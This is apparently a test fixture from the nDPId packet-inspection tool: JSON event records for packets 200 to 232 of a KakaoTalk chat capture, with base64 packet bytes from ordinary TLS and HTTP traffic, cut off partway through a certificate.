+00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":200,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":777014,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFfTVEAAjwZYFx8NRFQKGFK8Abuwm2JwtDjLT28vUBikxNjHAAAXAwMAKhb8yUXEQnm6lOAo9W95PTGZR1Q0P9OI5bjMj1OnJ7BqjXTB4SBbH57sMw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":200,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":201,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":782141,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjG0AAPwYYgAoYUrwfDURUsJsBu8tPby9icLRnUBB9AG7xAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":201,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":202,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":995703,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFNec0AAjwYhX638YQIKGFK8AbuKr2AiuW38GvS\/UBijfmj0AAAXAwEAJt4Uads0O7RiEOr2+ZC2x+j6Fg6POvBHWujoSxjjL553u0B5Fn1g"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":202,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01515{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":203,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069032,"pkt_ts_usec":19660,"pkt_caplen":893,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":893,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAA23eOkAAjgZLKR8NREYKGFK8AbuqPWAZ5MSKfXtNUBif6FQDAAAXAwMDQD2B\/Wu8yi7fP+Y9Zh6GgbD\/94fJmpzePpII\/9NLRJ6wQkNHDIy8crayhxQPbXEv1d\/MSzoGHXz2+0A6lOoScHWENmcS3+F4G1wk8VI1hZwMpcCofyl3CMFbRu4cO98ELGvfCZVLRNHn1hIHdnQ\/MpSxRlu6vYnuQi2x\/0lvYGTQ08G8rmnn4PYHSOuNU+2wpww1aW1q8Ev8D8LTe9OxwYbmEJdyT6+frJDil0Dg0RbK7QMjFdMJjPgcnL9KRLd8SDX\/M+UdiVwOqar3iSPB7hu\/RA8plsd7ZVr\/sSaAIkg79sHSf2HaEJgf1vFvMCRahlVrdF\/sUzeDX+sqc1LdJJKDASDTqJjDwYxppLNx5t90PVLsN1FB0LmxadDlATtH3GVbTvd72a5LlGY6BTFahP4ZqMbJvbXuBem4jJ+2KszfTXozN6RrwtvZIPAZatfRFHbA1AH4a+Td2208M5taBeHBW9LZVHgwpRmA6Y+CeXIqpe+xutS5RW4hU9yhIwl+49OCKlnYvt0WImoKCdxjNSi5nmX9dw864RTXJkqY2SER4fg4bS1J4E363KSjnbsJogqM8bcYUZWRZvhWsNeFRgDPVlzIA\/hbf2DgVvN0eXl9Uy5LzkRexsE7Z60fI7nomWRFGbH96ur0n6IqNnuI9aqY3INizjd3lX5QE\/Zh8Zs1D1TFbK0aLpy8goJRUlf23fbZq+rglHipHKA9eWubdz\/vDpyc0BdvKvjMmjl\/VmdPqRZ1IpImIJKOcSt+OBlAoIyx5uycEfDy2JfZSAfQmiZdJ+7vOSqMXeLW\/4Ejsqv6DG79\/qOZ9DGgV+hpTsY6XU+4JBJxRdARLkCmpJx9PrztBMOTAE\/vICf5O02j6\/InFF2WGbsO11poZ2r6gMH8Cxx0SDFDV2vq6E4H2Kz43Ln+DfMptcYTx2MM3q6Z2M+YPHA14szuKSW3Nwo1\/dApPQSUTc4QD4CodZTv60wUulgWxV5NuyzrYwz67\/vLTBpAwHW5RNfJE3WUvI3VRi9D0RxRAMN2Ab01NqVWf0KPh5+GF4CwCT9cvrOxE0vaJ31JltxopmLPHvNigZCxlGC\/6M6lxTSoP8Ct8AL2pG4o6k0="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":203,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":204,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069032,"pkt_ts_usec":22742,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6uUAAPwYA8AoYUrwfDURGqj0Bu4p9e01gGegJUBBzAILGAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":204,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":205,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069032,"pkt_ts_usec":40839,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmxEAAPwbpOAoYUryt\/GECiq8Bu\/wa9L9gIrmYUBBVAFgBAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":205,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":206,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069032,"pkt_ts_usec":164282,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiq80AArAYRp9g63QoKGFK8AFCMUmKi4jFDN+TzUBH\/\/6QYAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":206,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":207,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069032,"pkt_ts_usec":171576,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgAAEAAPwYptwoYUrzYOt0KjFIAUEM35dFioucAUBA+dl\/2AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":207,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00573{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":208,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069032,"pkt_ts_usec":186866,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALTmxUAAPwboqwoYUryt\/GECiq8Bu\/wa9L9gIrmYUBhVALZzAAAXAwEAh1oQ84h76hb2pDgAJUbGHWwTPVkBtuWndZN5nUv\/frgvBt\/y2Gsf8heTDQrPNSk2bUiMOoHSpqeVoeQ1WXMamaYlYaEobNSdrFrE7SfWL6MaIRHNM1xYo5HWmXMRwJ\/07TDkJo\/4MO7pnf8S+ombRMJZif2cAY7gD+dFk4UhTKkBH84eDoD1ng=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":208,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":209,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069032,"pkt_ts_usec":269782,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChedEAAjwYhia38YQIKGFK8AbuKr2AiuZj8GvVLUBCi8gmDAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":209,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":210,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":398200,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChV8UAAQAbFkwoYUrzSZ\/APpVwBu+YrTKNirTiWUBFpAB9mAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":210,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":211,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":537940,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgkaUAAjgapG9Jn8A8KGFK8AbulXGKtOJbmK0ykUBCkj3bOAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":211,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":212,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":840522,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADytk0AAPwbN8woYUrwfDURUkrUAUM0qoIsAAAAAoAI5CEEgAAACBAV4BAIICgALDRgAAAAAAQMDBw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":212,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":213,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":877814,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACxm7kAA+AZbqB8NRFQKGFK8AFCStWTibgPNKqCMYBIRHPNeAAACBAV4"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":213,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":214,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":880866,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACitlEAAPwbOBgoYUrwfDURUkrUAUM0qoIxk4m4EUBA5COLzAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":214,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":215,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":917823,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAArAYOlx8NRFQKGFK8AFCStWTibgTNKqCMYBD\/\/wn2AAABAQEB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":215,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00627{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":216,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":921179,"pkt_caplen":243,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":243,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAOOtlUAAPwbNSgoYUrwfDURUkrUAUM0qoIxk4m4EUBg5CEcRAABHRVQgL21vYmlsZS9zdGF0dXMucGhwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBEYWx2aWsvMS42LjAgKExpbnV4OyBVOyBBbmRyb2lkIDQuNC40OyBNSSAzVyBNSVVJL1Y2LjQuMy4wLktYRE1JQ0IpDQpIb3N0OiB3d3cuZmFjZWJvb2suY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANCg0K"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":216,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":217,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":967627,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADzw1UAAPwaKsQoYUrwfDURUsJ0Bu3W4\/fMAAAAAoAI5CBvJAAACBAV4BAIICgALDSYAAAAAAQMDBw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":217,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":218,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":973456,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiiUEAArQZrLh8NRFQKGFK8AFCStWTibgTNKqFHUBD\/\/xtBAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":218,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00416{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":219,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069035,"pkt_ts_usec":989844,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEPmxkAAPwbpGwoYUryt\/GECiq8Bu\/wa9UtgIrmYUBhVAB1nAAAXAwEAFreOxK0dsXWS\/qwp8ZzqtOE3sN0XSVk="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":219,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":220,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":8002,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACxGQkAA+AZ8VB8NRFQKGFK8AbuwnWIYU8F1uP30YBIRHOshAAACBAV4"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":220,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":221,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":10596,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjw1kAAPwaKxAoYUrwfDURUsJ0Bu3W4\/fRiGFPCUBA5CNq2AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":221,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00626{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":222,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":12946,"pkt_caplen":240,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":240,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAODw10AAPwaKCwoYUrwfDURUsJ0Bu3W4\/fRiGFPCUBg5CMwfAAAWAwEAswEAAK8DAVU9Hy2pPPfpWbhIjMHHKuGu\/26IDUvEFU2avrf56FfmAABGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":222,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":223,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":14563,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHTmx0AAPwbo6QoYUryt\/GECiq8Bu\/wa9WZgIrmYUBhVAIi6AAAXAwEAR5\/Qk468uI7m\/+cWo4G37ScnsEbO++RIgXOs6PP8LjxdehYxOW2nmwu+YlPtXmrc+Gw5e7TTS0RywmGESvQ\/WmGGOzYrrd37"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":223,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":224,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":41358,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChedUAAjwYhiK38YQIKGFK8AbuKr2AiuZj8GvVmUBCi1wmDAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":224,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":225,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":49811,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAAjgYslx8NRFQKGFK8AbuwnWIYU8J1uP30YBClZFxUAAABAQEB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":225,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":226,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":50513,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChrjUAAjwbADR8NRFQKGFK8AbuwnWIYU8J1uP6sUBCkrG5aAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":226,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":227,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":57807,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChedkAAjwYhh638YQIKGFK8AbuKr2AiuZj8GvWyUBCiiwmDAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":227,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":228,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":68122,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADwqSkAAPwalnwoYUryt\/GECircBu1PEJ3oAAAAAoAI5CI51AAACBAV4BAIICgALDTAAAAAAAQMDBw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":228,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":229,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":109870,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACzrl0AA+AYrYa38YQIKGFK8AbuKt2bo6WFTxCd7YBIRHMNnAAACBAV4"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":229,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":230,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":113928,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqS0AAPwalsgoYUryt\/GECircBu1PEJ3tm6OliUBA5CLL8AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":230,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00626{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":231,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":116156,"pkt_caplen":240,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":240,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAOAqTEAAPwak+QoYUryt\/GECircBu1PEJ3tm6OliUBg5CCGEAAAWAwEAswEAAK8DAVU9Hy3lr9PhuC3NcwOeJGoglIkRSauG++7JURnxbEvJAABGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":231,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02096{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":232,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069036,"pkt_ts_usec":121375,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABShrjkAAjwa7DB8NRFQKGFK8AbuwnWIYU8J1uP6sUBCkrFqtAAAWAwEAWQIAAFUDAa6R6RRKXfxddbtVAoidxSBrGSP+zxabD35QT5IWWmgIIEx+M4v6kMYdK9rfFgx\/4oOFoeXKuOJVavGbS+sm\/keqwAcAAA3\/AQABAAALAAQDAAECFgMBDNkLAAzVAAzSAAZwMIIGbDCCBVSgAwIBAgIQBnjbTdvaLb44isb+B0TcyDANBgkqhkiG9w0BAQUFADBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMB4XDTE0MDgyODAwMDAwMFoXDTE1MTAyODEyMDAwMFowYTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRMwEQYDVQQHEwpNZW5sbyBQYXJrMRcwFQYDVQQKEw5GYWNlYm9vaywgSW5jLjEXMBUGA1UEAwwOKi5mYWNlYm9vay5jb20wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATY0d01veJZtvubH1QVjNu\/Tli9R764EPwi6dKemPhJKiX7lEbkQpmEUBxfAf0UJTFcTtlk\/cUMs0bSobxwtIeOo4ID5DCCA+AwHwYDVR0jBBgwFoAUUOpzidsp+xCPnuUBINTeeZlIg\/cwHQYDVR0OBBYEFEMJk0D6EUswM+zyh26NcRjPiryOMIICOwYDVR0RBIICMjCCAi6CDiouZmFjZWJvb2suY29tggxmYWNlYm9vay5jb22CCyouZmJzYnguY29tggsqLmZiY2RuLm5ldIIOKi54eC5mYmNkbi5uZXSCDioueHkuZmJjZG4ubmV0ggZmYi5jb22CCCouZmIuY29tghgqLmZhY2Vib29rY29yZXd3d2kub25pb26CFmZhY2Vib29rY29yZXd3d2kub25pb26CGCouZmJjZG4yM2Rzc3IzanFucS5vbmlvboIWZmJjZG4yM2Rzc3IzanFucS5vbmlvboIYKi5mYnNieDJxNG12Y2w2M3B3Lm9uaW9ughZmYnNieDJxNG12Y2w2M3B3Lm9uaW9ughAqLm0uZmFjZWJvb2suY29tgg8qLm1lc3Nlbmdlci5jb22CDW1lc3Nlbmdlci5jb22CGioubS5mYWNlYm9va2NvcmV3d3dpLm9uaW9ughsqLnh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGXh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGyoueHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIZeHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIOKi54ei5mYmNkbi5uZXSCDHh6LmZiY2RuLm5ldIIbKi54ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughl4ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughhtLmZhY2Vib29rY29yZXd3d2kub25pb24wDgYD